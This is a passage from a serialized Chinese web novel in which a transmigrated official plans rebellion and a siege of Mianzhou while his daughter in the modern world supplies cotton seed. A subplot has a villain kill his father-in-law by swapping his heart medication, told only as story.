信虽然是快马加鞭带回来的,但路上肯定还是耽搁了一些时间。说不定这会朝廷已经跟北凉谈上了。但是即便是谈上了,有些细节也没有那么快定下来。 这些缓冲时间,他可以带上自己想带走的人。但军中的人,绝对不可能全部都带走。所以,他给大家透个信,让大家好早做准备。 结果,怎么变成了这样? 造反!他可从来都没有想过! 第126章 第126章 安排 “大人!反了吧!咱们如今已经拿下郴州和贺州, 在北地站住了脚跟,何惧北凉和朝廷?只要他们敢来,咱们就敢打!”江虎又道。 “对!反了吧!大人!那些北凉人咱们又不是没打过!还怕他们吗?” “大伙都听您的!您说句话!怎么干?” 袁博文看着下方一张张脸, 心里也渐渐热了起来。 他现在离开这里, 虽然不难, 但实在有些舍不得。城外的金矿才挖了一点点, 枫叶巷的织坊也才开始运作,他脑海里关于工业革命的想法也都建立在目前的情况之下。这些可都是好不容易才弄到的, 就这么不要了,想要再拥有,未必有机会了。 而且,他们离开这里, 去往哪里?他和谢云溪都没有计划。海的那一边到底有什么,他们也不知道。 而在北地这里, 他们已经占住了三州之地,地盘虽然不大,但是也能挪了挪身,无论是对上北凉, 还是大顺朝廷,都能抵挡一二了。 更别说,他们夫妇的背后还站着一个科技发达,武器先进的现代社会。 干一把,好像并不是不可以! “大人!”黄峥见袁博文一直不说话, 着急了。 袁博文抬了抬手, 黄峥立刻不说话了。其他主将们也都安静了下来。 袁博文迅速压住了心中的激荡,看了一圈底下的人,眸子幽静沉着。 即便是要自己干!也不能轻举妄动! “岭南关家的信在路上已经耽搁些时日, 朝廷这会必然已经与北凉在接触了。割让北地十六州的消息传到这里,还有些时日。咱们不能坐以待毙!” 主将们纷纷点头。 袁博文又说:“沔州仅次郴州,且矿产丰富,是出铜铁最多的州府,整个北地大半冶铁都出自那里。咱们要尽快拿下那里!只要拿下了沔州,就掌握了近乎整个北地冶铁,军中的兵刃也再不用发愁了!” 江虎心里一跳,悄悄看了看旁边的轻步兵营主将,两人的眸子一样火热,都明白了袁博文的意思。 黄峥和霍小北也跟着点头。 袁博文起身,来到沙盘旁边,主将们也都围了过来。袁博文看了一会后,点了霍小北的名。 “长枪营有一半人马还在贺州,霍副将即日就出发,赶到贺州去。步兵营和骑射营明日出发,往鸡公岭方向靠近沔州……” 三路人马派了下去,领到命令的主将们都应下了。黄峥久久没有听到想要的答案,临到出去了,忍不住又喊了一声:“大人……” 江虎见状,连忙把他拉了出去。 到了营帐外面,黄峥甩开了江虎的拉扯:“你拉我做甚?到底反不反?大人还没有说呢!这事可容不得含糊!” 江虎笑了:“你说你!急什么?”他悄悄附在黄峥的耳边说:“袁大人都要拿下沔州了,还提到了冶铁,你还不明白吗?” 黄峥依旧皱着眉头,江虎恨铁不成钢,又悄悄说了几句话后,黄峥茅塞顿开,眼睛一下子亮了。 江虎又沉下脸色道:“这事非同小可!袁大人不说,肯定有袁大人的理由!你可千万不能吐露风声!” 黄峥心里虽然火热,但也知道了事情的严重性。眼睛发亮,捏了捏拳头:“你只管放心!我还没那么蠢!” 说完,他大步流星走了。 江虎笑着摇了摇头,也离开了。 袁博文坐在营帐中,久久没动。造反这类的事情,他从未干过。虽然打定了主意,面对其他人时,他尚且能够稳住,但现在周围没人了,他有点沉不住了。 这件事情一旦做了,可不是他一个人的生死,身边所有的人都会卷入其中。而且,只能一往无前,再也没有退路了。 他静不下来,干系太大了。想了一会儿,又来到沙盘旁边,看了良久。天黑了,谷雨进来了,悄悄点了灯,又出去了。 更声敲过,袁博文这才惊醒,时间已经很晚了。 他披上了斗篷,让谷雨牵了马来。回去的路上,还在想这些事情,两鬓染上了霜花,也没有注意到。 谢云溪听袁博文说了军中主将们的反应,好一会儿才回过神。 袁博文没有想过造反,她也没有想过。最多也就想到了一走了之。 造反,事情太大了。一旦开始,就没有退路了。 但如果就这么离开,她心里也有不甘。 “云溪,我已经让霍小北今日就去了贺州,明天,步兵营和骑射营也会出发,我们打算尽快拿下沔州!” 谢云溪心里又惊了一下。 “我已经决定了,不走了!在这乱世里争一争!”袁博文说着,想到了现代世界的太平富足,心里的火又蓬勃烧了起来。 谢云溪看着袁博文,将另一只手放在了两人相握的手上:“好!我们一起!” 既然不甘心,那就拼一把! 袁博文心里一暖,也将另外的一只手搭了上来,看着谢云溪笑了。 “要不要跟淼淼说?” 决定下来后,谢云溪倒是平静了下来。 袁博文想了想,摇头:“先不告诉她,免得她担心!” 谢云溪点头。 袁博文又说:“明天,我打算去找姚青山,咱们的棉布棉衣不能局限在北地这里,得往南边销了。商师傅他们现在都过来了,我想请他们出动,一起跟着姚家的商队出发。” “朝廷要割让北地十六州,咱们之前在这里所做的一切,必须要让世人知道!北地十六州并不是全部都落到了北凉手中!这里依旧有人在拼命!” 他说着,声音渐渐冷冽。 谢云溪默默点头。她也想到这些日子以来牺牲的人。他们应该被这里的世人记住。 大顺朝廷只想到北凉大军即将兵临城下的危机,却将北地这里依旧在奋力拼杀的人们置之脑后。朝堂上的一句割让,背后是无数冷却的热血和彻骨的绝望。世人应该看到这些,应该明白他们之所以不愿意再听从朝廷的命令,这些就是原因。 他们即便是要造反,那也要师出有名! 这天晚上,两人都没有睡好。同样没有睡好的还有庄静等人,庄静也接到了岭南关家的信。看完信中的内容后,庄静慌了,问送信的人:“大爷还说了什么?” 送信过来的是岭南关家家主关轩身边一个得力小厮,姓关名许,他回道:“大老爷让二夫人早做打算,朝廷准备和谈的消息,不日就会传开!” 庄静不知道怎么办才好,她明白关轩把得力小厮派到这里来,是准备带着他们回到关内。 可就这么走吗?庄炜如今还担着晋州府衙事务,虽然没有名份,只是因为袁子虚下的令,但晋州民众对他很是爱戴。他多半不会答应跟着他们一起离开。 还有娘和嫂子,景钰和景和。两个孩子在北地生在北地长,让他们就这样离开故土,他们肯听吗? 可如果不离开,他们还有活路吗? 庄静六神无主:“袁子虚知道和谈的事情吗?” 关许低头回道:“大老爷给袁博文也写了一封信。” 那就是袁子虚也知道和谈的事情。 庄静心里安定了一些。 袁子虚既然知道了,想必一定会有对策。 关许又说:“大老爷让二夫人切勿去找袁博文商量去留一事。朝廷对袁博文另有安排。” 庄静吃了一惊,不禁问道:“什么安排?” 关许摇头:“大老爷让二夫人不要打听。” 庄静愣住了,原本安定下来的心绪彻底乱了。 不能跟着袁博文夫妇一起行动?就他们一家走吗?这……能行吗? 庄静坐不住了,打发了关许,来到庄府。 周氏见到庄静,笑吟吟说:“我刚才还跟娘提起你们,这几日天气都不错,要不我们一起去城外看看吧?我听说府衙挂了几块地要卖,就在城南十里坡那边。” 前不久周氏得知晋州许多人都在郴州这边买了宅子和地,她也心动了,在挨着紫云巷的枫叶巷也买下一栋宅子。年前一家人,除了庄炜,都搬了过来。 庄炜担着晋州府衙事务,仍然住在晋州。好在晋州和郴州之间有班车,想要过来,也就一个多时辰的事儿。 庄老夫人的精神也很好:“你今日过来,怎么没有把景钰和景和一起带过去?大过年的,你别把他们拘得太紧。” 庄静心里乱麻一样,一点闲话的心思都没有:“娘,嫂嫂,我有要事跟你们说!” 周氏吃了一惊,这才发现庄静的脸色有些不对劲。她看了庄老夫人一眼,庄老夫人脸上的笑已经没有了,点了点头。周氏会意,让身边的人都出去了。 “关家大爷来信了。他说朝廷要和谈了,准备割让北地十六州给北凉!” 周氏惊得一下子站起来:“什么?朝廷要和谈?还要割让北地十六州给北凉?怎么会这样?” 庄老夫人的脸色也变了:“你嚷什么……静儿,信中到底怎么说的?你仔细说来!” 庄静把信中内容又说了一遍。 周氏慌了神:“怎么会这样?北地十六州,那么多人呢!怎么能割让给北凉人?我们怎么办?是不是马上要走?老爷那边是不是要让他赶紧回来?” “你慌什么?”庄老夫人低声呵斥了一句,但她自己也有些乱了,“信是谁带回来的?袁大人知道吗?” 庄静把关正出事后,自己写了一封信交给了袁博文,让他派人送去了岭南关家,以及岭南关家那边今日回信的情况一并告诉了庄老夫人和周氏。 “关家大爷真的说朝廷对袁大人另有安排?”庄老夫人问。 庄静点头:“大爷还让我们不要打听袁子虚的事情。” 周氏一头雾水:“朝廷对袁大人另有安排,这件事情为什么不能打听?” 庄老夫人叹了口气:“木秀于林,风必摧之!袁大人的麻烦来了!” 庄静看了庄老夫人一眼,她跟庄老夫人的想法一样。袁子虚太过炫目了,尤其他拿出的那些东西,终于给他自己招来了麻烦。 “母亲,大爷让我们早做打算!” 庄老夫人又叹了口气:“这世道一步步将人往绝路上逼啊!” 庄静心里也满是悲怆。北地还有这么多的人在拼命,朝廷竟然打算将整个北地十六州都割让给北凉! “我老了,不折腾。你们打算怎么做?” 庄静心里依旧乱麻一样,想了又想:“我……我想再等等!” 庄老夫人点头:“好!再等等!” 周氏不明所以:“还要再等等吗?事情传开了,咱们还能走得了吗?” “走不了,那就不走了!袁大人都没有动,咱们慌什么?” 庄静的心里也渐渐安定了下来。袁子虚既然知道和谈的事情,肯定不会坐以待毙,军中还有这么多人,大家都没有动,他们慌什么? 如今晋州军掌控了晋州郴州贺州,朝廷想要和谈,想要割让北地十六州,他们一定要听吗?袁子虚那么聪明,又怎么会料不到北凉对他恨之入骨,又垂涎欲滴?他怎么可能束手就擒? 他先拿下郴州,后又拿下贺州,如今已经在北地站稳了脚跟,这是他早就想到了会有今日的事情,这才提早布下的局。 如此深谋远虑,她跟着一起,才是最明智的选择。 “不过,玮儿还在晋州,对这些事情一无所知,得派个人跟他说一声。” 庄静点头:“明天早上的班车,我让人带一封信给他。” 第二天一早,袁博文就去找姚青山了,谢云溪起来的稍晚,把库房的账看了看。棉衣棉布虽然有些库存,但是这些是准备在布庄售卖的,现在他们准备往南边销售棉布棉衣了,这些库存就不够用了。 到了晚上,袁博文回来了。 谢云溪连忙问:“姚青山同意了吗?” 袁博文点头:“我只提了个开头,他的眼睛就亮了,这件事情咱们不找他,他也会来找咱们的。” 谢云溪感慨:“姚青山确实很有经商头脑。” “你们谈好了,这次带多少棉布棉衣吗?姚家的商队有多少人?他们准备走水路还是陆路?” 袁博文拿出一本册子,递给谢云溪:“我把你上次的货单给他看了,他圈了几样出来,把量也记下来了,你看看……” “这次姚青山准备亲自带队,我让他带上商师傅等人,他也同意了,这次商队共有一百多人。” “一百多人的商队,算不上很大,过关的时候可能会有些麻烦,但是这次姚青山准备走水路,沿途的这些麻烦,对于他们来说应该不是什么大事。” 袁博文说着,想到了以前在南边的见闻。这次他让商远等人出动,卖棉布棉衣是其一,最主意的目的是要把朝廷和谈的事情搅得天下皆知。他要让天下的人都知道,他们造反,那是迫不得已,是被逼得走投无路了。 师出有名,这反才造的有底气。 第127章 第127章 暴毙 谢云溪将姚青山需要的棉布棉衣数量记了下来, 等到和袁淼见面时,她就把这些报给了袁淼。 袁淼觉得奇怪:“年前你们不是要了一批棉布棉衣吗?这才过去几天,那些都卖完了吗?” 谢云溪笑着说:“没有呢!我今天报给你的这些是准备往南边销的。姚青山要带着商队南下了, 我们跟他商量好, 让他把棉布棉衣带到南边去卖。” 袁淼明白了。 这当然是好事, 父母那边的布帛太贵了, 即便是纺织业发达的江陵一带,布帛的价钱也不便宜, 跟现代完全是两个纬度。能挣钱的事情,没有人会不乐意。 “往南边销?价格定好了吗?” “没定死,南北商货往来,一般会加价两成成左右, 不过,最终还是要当地的市场的行情。” 袁淼在心里过了一遍。加价两成, 也就是四两银子一匹的棉布运到南边,差不多要卖到五两银子一匹! 五两银子,那就是一千元左右了! 她心里惊叹。一千元左右一匹棉布!但想到父母那边绸布的价钱,她又平静下来。 南边最普通的绸布, 卖到北地,都要十两银子一匹了。现代的棉布比那些绸布可差不到哪儿去,价格却便宜一倍左右。 五两银子一匹的棉布,不仅不贵,还便宜的很。 这批南下的棉布棉衣一定会对南边的纺织业造成的冲击。 说起了棉布棉衣, 袁淼就想到了棉花的种植。 “妈, 你们不是打算种棉花,我昨天去市场上转了转,棉花籽市场上有卖, 价格高低不等,每公斤二十元到六十元都有,而且各有各的说法,一般研究所出来的棉花籽价格略高,还有地域不同,棉花籽的价格也会不同。你们那里的气候怎么样?” 谢云溪觉得北地的气候跟华国的b京河北天津等一带差不多。袁博文也在一旁点头。 袁淼想了想,b京河北天津等属华北一带,气候适宜,土地资源丰富,市场上的几种棉花籽几乎都可以在那里种植。 父母那边的年已经过完,转眼就是三月,三月一过,四月初就可以开始育苗了。 “那就买产量高的棉花籽!”袁博文说。 袁淼圈下价格略高的几种棉花籽:“要多少?你们现在有数吗?” “这个等我们统计了再给你具体数量,你有空了,先去帮我们看看农具。” 袁淼点头。农具她肯定是要看的,父母那边可没有现代化的农作机械。 “我上次传给你们的书,你们都看完了吗?有没有想法?” 袁博文笑了:“这些不急,哪有那么快?” 袁淼也笑了。父母有心改变他们那边的生存环境,她当然会不留余地支持。 “我又挑了几本。”她把书给父母看,又传了过去。 袁博文现在心里装着别的事情,对改进眼下社会生产结构的事情也没有先前那么热衷了。收到书后,放到了一边。 “淼淼,明天你去一趟兴达矿厂那边,爸爸把这段时间采集的矿石传给你。” 他马上要去沔州了,一旦打起来,后果谁也料不到,妻子和女儿都要事先安排好。矿石既然已经开采了一些出来,那自然是全部都给女儿。 “明天吗?矿业公司这边的矿石还有不少呢!”袁淼很敏锐,“爸爸,你是不是又要出去了?” 袁博文笑着点头:“我后天要去一趟贺州,那边有些事情要处理。” 贺州,现在也是父亲的地盘。袁淼没有多想,交待了几句。跟父母说完话后,她就在网上搜索农具的相关信息。 窗外突然响起一声惊雷,袁淼吓了一跳。 风起来了,像是要下雨。她起身关了窗,看到时间已经不早了,洗漱过后上了床。 大概是因为睡前跟父母说了棉花种植的事情,上床后没多久,袁淼就做了梦来。 自行车行驶在乡间的小路,田埂的两边土地种了许多棉花。天气很好,她的心情也很好。 徐清阳骑着自行车,风将他的衬衣吹得鼓鼓囊囊。 “淼淼,前面就是我们老家的遗址了,以前那里可热闹了。这一片很早以前是个大湖,老家遗址那里是当时有名的码头,我太爷爷就是码头上的挑工……” 她听着徐清阳讲徐家的过往,眼前一望无际的田野仿佛也变成了浩瀚无边的湖面。 到了古村遗址,这里早已荒芜,人们已经搬离,古村只剩下残垣断壁,寂静无声。 她突然有些怕了,父母的失踪在她心里留下了不可磨灭的印记。 她拉住了徐清阳:“清阳,我们回去吧!” 徐清阳的兴致却很高:“没事儿!我小时候经常来这里!这里历史悠久,现在虽然没有人了,但以前可热闹了。我上一次过来,还在这里找到了一个古董!” 她看向徐清阳。 徐清阳眉宇飞扬:“那是个碗,看起来毫不出奇,但却是清早期的东西!我找人看过了,他说,要不是缺了一个口,那碗至少能卖到八万!” 八万!她听着也心动了。她一个月勤工俭学最多的一次也就拿到了四千。 跟徐清阳牵着手走进了古村,许久了也没有看到了一个人,她渐渐有些怕了。 “清阳……” 她回过头来,这才发现原本一直在身边的徐清阳竟然不见人影了! 她吃了一惊,又叫了几声,依旧没人回应。 她害怕起来,背心出了一身冷汗。徐清阳有时候会开玩笑。但眼下显然不适合这么做。 “徐清阳,你在哪里?再不出来,我走了!” 她喊了几声,甚至威胁。也没有听到回应,心里越来越害怕,于是捡起地上一根棍子壮胆,一边喊,一边往回走。 古村寂静无声,似乎只有她一个人在里面。好在她的方向感一直不错,走出古村的时候,夕阳已经西下,只剩下了余晖。 她站在村口,背心的衣服已经透了,自行车还停靠在原处,但她身边的徐清阳已经不见踪影。 身后的古村寂静,仿佛是一个张着大嘴的坟墓,可以吞没一切,让人不寒而栗。 袁淼梦见徐清阳的时候,徐清阳正坐在车里闭目养神。下雨了,窗外的景致模糊了。惊雷响过,男人睁开了眼睛,但里面平静无波。 到了地方,助理先下了车,撑开伞后,小跑到另一边开了车门,徐清阳下来了。 凄风冷雨袭来,即便是有伞,男人定制的高档西装上也落了些雨珠。他抬起眉眼,看向不远处别墅。 曾嘉宝在医院里保胎,别墅很安静。 男人垂下眉眼,助理开了门。男人才进去,身后的门就关上了,先一步进来的助理被人几下打趴了,提将起来时鼻青脸肿。 别墅里的灯亮了,客厅的沙发坐着一个中年男子,三个黑色西装男子站在他的身后。 徐清阳看到沙发上坐着的人,眸子一缩,叫了一声:“爸!” 曾辉华冷哼了一声,脸色铁青。 徐清阳看了看客厅中的人,脸上满是疑惑:“爸,您怎么来了?这是怎么回事?” 曾辉华的脸色依旧铁青,显然是气急了,重重敲了敲手中的拐杖:“我问你,嘉宝肚子里的孩子到底是谁的?” 徐清阳愣了愣:“当然是我的!怎么了?” 曾辉华抬起拐杖指向沙发的一处,咬牙切齿说:“那你告诉我,他是谁?” 徐清阳顺着曾辉华所指看过去,这才发现沙发的一角还蜷缩着一个男人。那男人穿着一件黑色的套头卫衣,长相与他有七八相像,但神态畏惧,触及他的目光,更是吓得瑟瑟发抖。 徐清阳明白了,笑了一下,俊朗的脸上一派儒雅随和,轻慢说道:“他是谁?爸,你不是已经知道了吗?” “你!”曾辉华气得呼吸都不顺畅了,“你知道你在干什么吗?” 徐清阳点头:“当然知道。我想要你的辉华矿业,但又不想……睡你的女儿,所以就给自己找了个替身。”他抬了抬下巴,像是在说与自己毫不相干的事情,脸上风轻云淡,“咯,就是他!” “他以前是天沐洗浴中心的员工,为了不让嘉宝看出破绽,我让他训练了一段时间才出场。” “你!你!你还是个人吗?竟然干出这种猪狗不如的事情,嘉宝,她是你的妻子!” 徐清阳又点头:“她是你的女儿,我想要辉华矿业,就必须要娶她。这是没办法的事情。” 曾辉华气得站起来,举起手中的拐杖就打,但被徐清阳一把抓住了拐杖。 曾辉华咬牙切齿:“我告诉你!你的诡计休想得逞!我要让嘉宝跟你离婚!我要让你为自己所做的一切付出代价!” “离婚?呵!”徐清阳笑了一声,“嘉宝会听你的吗?爸,你猜猜她要是知道一直跟她上床的人是个洗浴中心的洗脚工之后,会是什么反应?” 曾辉华气得喘不过气来了,他的助理连忙上前,拿了一瓶药出来。曾辉华迫不及待一把夺过,哆哆嗦嗦倒出了一颗药后,塞进了嘴里,但预期中的舒适并没有来到,他的气喘依旧没有缓解。 徐清阳看着曾辉华,又附在他耳边说:“其实你不用担心,我肯定会和嘉宝离婚,原本我一直想要的人就不是她!我看到她就恶心,怎么可能会和她度过一生?” 曾辉华一口气没上来,抓着胸口一头倒下了,但他依旧狰狞看着徐清阳,咬牙切齿说:“我,我,要杀了……你!快!你们,你们,快动……手!” 但房子里的人都没有动,像是雕塑,包括先前递药的助理,站在沙发的背后,一动不动,仿佛没有看到这一幕一样。 徐清阳蹲下身,轻声说:“爸,忘了告诉你了,你这几天吃的药并不是治高血压和心脏病的!刚才何助理给你的药也是一样!” 曾辉华的眼睛一阵充血,脸色也由铁青变成了猪肝色,但很快又成了黯淡的苍白色,伸出去的五爪也颓废垂了下来。 徐清阳看着一动不动的曾辉华,伸手探了探他的呼吸,紧绷着背一下子松懈了。他站起身来,居高临下看着,又擦了擦手。明明他什么都没有碰到,但仍然擦得很仔细。 末了,来到沙发的另一边,蜷缩的男人已经被制住了,看着徐清阳,脸上满是惊恐。 徐清阳居高临下看着他,脸上一点表情都没有。 贪心从来都没有好下场,眼前的男人都已经拿到了钱,却偏偏妄想得到更多,竟然找到了曾嘉宝保胎的医院里来,还被曾辉华看到了。 要不是他早有准备,现在躺在地上的人就是他了。 * 夜里没有睡好,袁淼早上起来的时候就看到了自己的熊猫眼,想到马上要去兴达矿厂了,她赶紧收拾了一番,直到看起来很自然后,这才出门。 赶到了兴达矿厂,接收了矿石之后,她就去了博云矿业公司。综合管理部的科长送来了报表,袁淼看到其中有一张物资采购清单时,愣了愣。 综合管理部的科长连忙说:“马上要到年底,我们往年除了年终奖励以外,还会发一些物资,这些不贵,就图个喜庆。” 袁淼笑了,“我知道!”她签了字,把报表给了综合管理部的科长。 科长出去了,袁淼舒了一口气。 刚才看到那张报表,她想到了博云贸易和博云珠宝。现在她的名下已经有三家公司了,资产已经有数十亿。不能厚此薄彼。博云矿业有年终奖励和年货发放,博云贸易和博云珠宝也不能少。这两家公司可是她最先开起来的。 袁淼打了一个电话。张青云进来了,袁淼示意他等等,通完话后,她问:“是不是徐清阳那边有了发现?” 张青云点头:“辉华矿业的董事长曾辉华昨天晚上去世了!” 袁淼吃了一惊:“曾辉华去世了?” “医院诊断的死因是冠心病!我看过医院的报告,曾辉华既往有高血压和心脏病,一直都在服用相关药物。” 袁淼定了定神。 买的药多了,她对一些常见的疾病也有了一定的了解。既往有高血压和心脏病的人是很容易出现突发状况,冠心病就是其中之一。 “不过,曾辉华是在徐清阳和曾嘉宝的住所发病的。是他的助理先发现的,发现的时候,曾辉华已经过世了。” 袁淼皱了皱眉。 曾辉华在徐清阳和曾嘉宝的住所发病?昨天晚上? 大晚上的,曾辉华为什么要去徐清阳和曾嘉宝的住所?他的女儿曾嘉宝不是在医院里保胎吗? “徐清阳呢?他昨天晚上在哪里?” 第128章 第128章 投靠 “在医院里, 昨天晚上十点之后才离开,他回到住所的时候,曾辉华已经上了救护车。” 那就是曾辉华的死跟徐清阳无关? 袁淼心里有些乱了, 她分辩不出是庆幸还是其他。想了一会, 她对张青云:“你找人盯紧徐清阳, 不要让他发现了!周晟和杜彦明被打的事情, 也要继续查!” “好!” 张青云答应后离开了。 袁淼静不下来了。窗外的天阴沉沉,一场暴风雪正在酝酿。 * 袁博文晚了一天出发, 还没到沔州城下时就追上了骑射营的人,中途修整,他让谷雨去请黄峥过来。 黄峥过来的时候神态有些拘谨。袁博文心里奇怪,他知道黄峥是个直性子:“怎么了?是不是路上出了状况?” 黄峥讪讪笑着:“大人, 有人想要见你……” 袁博文抬起头。 黄峥干干笑着:“是商州原长枪营主将程士杰!我与他有旧,昨天, 他找了过来。” 袁博文入职军中的时间不长,但他知道晋州军中好几位主将都是本地人,这些主将们任职的时间不短,与其他州府的武将自然是有些联系。 “……商州城破后, 程士杰带了些人手上了西峡山,他们也知道了朝廷和谈的事情,也很生气!这次找过来,就是想见大人一面!” 黄峥说完,悄悄看了袁博文一眼。 程士杰找过来时, 他也吓了一跳。两人有旧, 程士杰并没有隐瞒,他知道了朝廷和谈的事情,也气得够呛, 询问他们有什么打算? 他哪敢说实话?只说跟着袁大人,袁大人怎么干,他就怎么干。 程士杰便让他帮忙引荐袁大人。 刚才过来的时候,程士杰就想跟着一道过来了,被他严词拒绝。 没有得到袁大人容许,他可不敢将人带到他面前来。 袁博文的脸色有些冷。 原商州长枪营主将要见他?他对商州可不陌生。 去年的地震就发生在商州,地震过后堰塞湖决堤,一泻千里,淹到了沔州,他们这才踏上了漫漫逃灾路。 这人要见他……他们以前可从未谋面。 “他为何要见我?你问了吗?” 黄峥点头,小心翼翼回答:“他手下还有六十多个兄弟,他们想投靠大人……” 投靠?六十多个人? 袁博文有点心动了。他现在缺人,尤其战斗经验丰富的老兵。 不过,他没有忘记现在自己的处境。北凉人指名道姓要他,关轩信中虽然没说朝廷会怎么做,但肯定不会放过他。 “程士杰在西峡山盘踞了多久?靠什么营生?他手下的这六十多人都是以前商州军中的人吗?” 黄峥连忙回答:“我问过他了!他们自从商州城破后就一直在西峡山上。不过,他们并没有做打家劫舍的勾当!抢的几个富商都是为富不仁的!倒是杀了些经过那边的北凉人。” “他手下六十多人,是不是都是原商州军中,这个,我没有问……” 袁博文哼了一声。这话一听就知道有水分。 如今的北地虽然大半沦陷了,但并不是所有州县的兵制都被杀光了,有逃跑的,也有藏身于普通民众中的,还有占山为王当土匪的。 这些占山为王当土匪的或许有些良知尚未泯灭,但多多少少手上都会有些不干净。 毕竟北凉南下已经有半年多时间,北地这里可算不上物资丰富,商州那边更是艰难。不抢不杀,靠什么活到现在? 不过,物以类聚人以群分,黄峥本性可以,他结识的人应该也不会太差。 黄峥听到袁博文冷哼,心里发虚:“大人,他现在就在我的营帐中,您看,要不要见?” 袁博文点头:“你让他过来吧!” 黄峥立马笑了,应了一声后出去了。 袁博文轻叹了口气。朝廷与北凉和谈的事情传开的速度比他想象的要快多了。现在,占山为王的土匪们都在开始找出路了。 不过,他现在缺人。如果这个程士杰问题不大,他可以收。 如果,他有其他意图…… 袁博文摸了摸身上的枪。 营帐外面很快就有了动静。袁博文让人进来了。 跟着黄峥进来的士兵高大魁梧,头上带着头盔,步履之间沉稳有度。不过,他这一身装束明显偏小,露出了里面打着补丁的夹衣。 进来后,程士杰飞快抬头看了一眼,又垂下了脑袋。黄峥招呼过后,他便作揖行礼:“程士杰见过袁大人!” 袁博文盯着程士杰:“程将军这身行头……是怎么来的?” 黄峥呵呵笑两声:“他这是抢了骑射营一个队长的行头。” 程士杰依旧微躬了腰身:“还请袁大人见谅!” 袁博文笑了一声。上次郴州商会宴席过后,他趁机把军中整顿了一番,清理了一些人出去。但对北地州府军制熟悉的人来说,想要混进来,并不是一件多难的事情。 “程将军想要见我,是为何事?” 程士杰突然单膝跪地:“袁大人,我们在西峡山共有一百零六人,其中原商州长枪营士兵六十五人,剩下的是家眷和一些民众,我们想以后跟着大人,请大人给个机会!” 袁博文愣了愣。 这么直接? “……程将军快请起!承蒙将军看得起……”他边说边想,“不过,军中有军中规矩,不是什么人都收。程将军以前就是军中的人,想来,应该能理解吧。” “程某明白!”程士杰并没有起身,沉声回答,“袁大人此番前来,是想拿下沔州吧?程某等人愿身先士卒!进入沔州城内,与大人里应外合,助大人一臂之力。” 袁博文又愣了愣,随即笑了。 里应外合?这可不是他说的。他只是想要一个投名状,程士杰自己就说了。 “里应外合……程将军有办法进到沔州城里吗?” 程士杰回答:“沔州城门辰时即开,酉时末关,虽盘查森严,但想要混入并不难。” 袁博文点头。北凉治下的各州府并没有严禁北地民众进出城内,但是盘查非常严格,刀枪剑等兵刃想要带进去,几乎不可能。一旦发现,非死即伤。 没有了兵刃,想要在城内有所作为,难度极大。北凉人可不是吃素的。 “程将军辛苦了!你们的家眷还在西峡山上吧?山上苦寒,要不,你们先把人带下山吧?” 里应外合,他担心有诈,想要一个把柄,这并不过分。大家都是明白人,第一次合作,不可能全心全意信任。 程士杰沉声应下:“大人放心,我这就回去把山上的人带下来!” 袁博文笑了,对黄峥说:“黄将军替我送一送程将军!袁某就在这里等程将军的好消息了!” 黄峥和程士杰出去,袁博文这才松懈下来。防人之心不可无,他现在可是香饽饽。礼贤下士,也得要看对方的底细。 过了一会儿,黄峥去而复返。 袁博文问:“程士杰走了吗?” “走了!” “你营中防卫松懈!需得好好整治一番!行军途中都能被人摸进来,实在太差!” 黄峥垂下了脑袋。 他看到程士杰的时候,就想到了这点。 上次郴州商会宴席过后,袁大人就罚了不少人,尤其巡逻队的。他也警惕了起来。但这次还是让程士杰等人混了进来。他也吓了一跳。不过,两人有旧,他也不好不讲情面严肃发作。 袁博文又冷冷说:“你别以为我在开玩笑,你若不吸取今日教训,下次找上你的,可不一定是来叙旧的!” 黄峥低着头,认错的态度一如既往积极:“不会有下次了。” 袁博文冷哼一声。 “程士杰把人带下山后,你先找个地方安置,等沔州的事情结束后,再把人送到郴州去。” 黄峥应下了。 袁博文挥了挥手,让他出去了。 两军修整过后,继续出发。 次日,黄峥就接到了西峡山的人,他把这些人安置在一个峡谷里。回去复命的时候,谷雨拦下了他。 黄峥心里好奇:“里面是谁?” 谷雨笑着摇头:“黄将军别为难我了。” 黄峥没法,只好在旁边等待,过了好一会儿,里面的人出来了。 黄峥愣了愣:“张大人?您怎么来到了这里?” 张时文脸上多了两团红紫,像是冷风吹多了,突然长出的冻疮。他作揖见礼:“黄将军!您是来找袁大人的吧?他在里面。” 黄峥被这么一打岔,也忘记了好奇,回见一礼后,进了营帐里面。 袁博文正在想事情,他没想到朝廷与北凉和谈的消息传得这么快。昨天有占山为王原商州军中主将程士杰找过来要投靠他,今天府衙的张时文连夜赶到这里,居然是来建议他反了,刚才跟他说了许多话。 “西峡山下来的人,都安置好了吗?” “安置好了!” 黄峥说了地方,他也知道里应外合干系太大,不容有失。在峡谷那边也派了几个人看守着。 袁博文点头:“你再给他们送些米粮和衣物过去。” 西峡山上下来的人,他虽然没有去看,但昨天程士杰来见他的时候,外面虽然穿着军中的服饰,但里面露出的边角却打着补丁,由此可见,西峡山上的这些人日子并不宽裕。 黄峥领了命令下去,找到负责押运粮草的吴万乾,领了几袋米粮和一些夹衣,抬到了峡谷。 “程兄,这是袁大人让我送过来的,有米粮和夹衣!” 程士杰连忙行礼:“多谢袁大人!”他身边的人已经喜形于色。 黄峥看了看峡谷中。这里避风,几座营帐是他们帮忙搭建的,此刻正探出了几个脑袋,个个蓬头垢面,神色警惕,跟郴州城下的流民差不多。 黄峥心里有点堵,拍了拍程士杰的肩膀:“你安置好后,再来找我。” 黄峥走了。程士杰旁边的两个青年迫不及待打开了米粮袋子,其中一个惊喜叫道:“这些都是粟米,将军快看!” 程士杰转头看了一眼,颗粒饱满的粟米散发着一股米香,他忍不住咽了咽口水,这么好的粮食,他已经许久没吃过了。 “看看有多少?按照人头分给大家!” 峡谷中很快热闹起来。 “将军,我们明天真的要进沔州城吗?” 程士杰遥望远方:“你昨日也看到了,晋州军今非昔比,只有他们才有实力与北凉抗衡一二。朝廷要割让北地十六州了,咱们以后的日子不好过,北凉不会放过我们。要让袁博文接纳我们,这沔州城咱们必须得进。” 青年默默点头。不管是在商州城里,还是在西峡山附近,他们都杀过北凉人。一旦整个北地十六州都归了北凉,他们这些人的日子就过到了头。 除非能靠上一个可以抗衡北凉的大腿。 袁博文的名声在如今的北地可谓如日中天。一介举人出身,却善勇善谋,不仅扛住北凉的围困,还拿下郴州贺州。 他们虽然一直都在西峡山上,但早就注意到他了。先前一直在犹豫,但现在没有时间了。朝廷马上就要将北地十六州割让给北凉了。他们这些杀过北凉人的已经没有了退路,闯不过泗阳关,那就是死路一条。 程士杰眺望的地方正是晋州军营地的方向。 黄峥虽然没有向他透露袁博文的打算,但是他们一定早就知道和谈的事情,可晋州军不慌不忙,还打算拿下沔州,这足以看出袁博文胸有成竹,并且不打算听从朝廷的命令了。 这与他的心意相符。如今的世道乱透了,是该换个新天地了。 